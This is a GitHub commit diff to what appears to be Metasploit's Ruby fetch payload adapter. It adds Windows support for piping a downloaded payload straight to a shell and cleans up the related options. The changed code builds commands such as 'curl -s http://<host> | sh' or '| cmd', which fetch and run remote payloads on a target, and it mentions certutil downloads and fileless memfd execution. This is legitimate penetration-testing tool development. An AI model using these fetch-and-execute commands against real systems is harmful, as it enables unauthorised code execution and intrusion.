Skip to content

Commit d1c6a6e

Browse files
committed
Add Windows pipe fetch support and clean up options
1 parent 23f06f2 commit d1c6a6e

File tree

3 files changed

+11
-7
lines changed

3 files changed

+11
-7
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -92,6 +92,7 @@ def generate(opts = {})
9292
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected for FETCH_PIPE option')
9393
end
9494
@pipe_cmd = generate_fetch_commands
95+
@pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows
9596
vprint_status("Command served: #{@pipe_cmd}")
9697
cmd = generate_pipe_command
9798
else
@@ -265,7 +266,7 @@ def _generate_certutil_command
265266
else
266267
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
267268
end
268-
cmd + _execute_add(get_file_cmd)
269+
_execute_add(get_file_cmd)
269270
end
270271

271272
# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
@@ -314,13 +315,15 @@ def _generate_curl_command
314315
end
315316

316317
def _generate_curl_pipe
318+
execute_cmd = 'sh'
319+
execute_cmd = 'cmd' if windows?
317320
case fetch_protocol
318321
when 'HTTP'
319-
return "curl -s http://#{_download_pipe} | sh"
322+
return "curl -s http://#{_download_pipe} | #{execute_cmd}"
320323
when 'HTTPS'
321-
return "curl -sk https://#{_download_pipe} | sh"
324+
return "curl -sk https://#{_download_pipe} | #{execute_cmd}"
322325
when 'TFTP'
323-
return "curl -s tftp://#{_download_pipe} | sh"
326+
return "curl -s tftp://#{_download_pipe} | #{execute_cmd}"
324327
else
325328
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
326329
end

lib/msf/core/payload/adapter/fetch/linux_options.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,9 @@ def initialize(info = {})
55
[
66
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
77
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
8-
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']),
9-
Msf::OptBool.new('FETCH_PIPE', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
10-
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
8+
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']),
9+
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL WGET]]),
10+
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none'])
1111
]
1212
)
1313
end

lib/msf/core/payload/adapter/fetch/windows_options.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ def initialize(info = {})
66
[
77
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]),
88
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
9+
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL]]),
910
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/)
1011
]
1112
)

0 commit comments

Comments
 (0)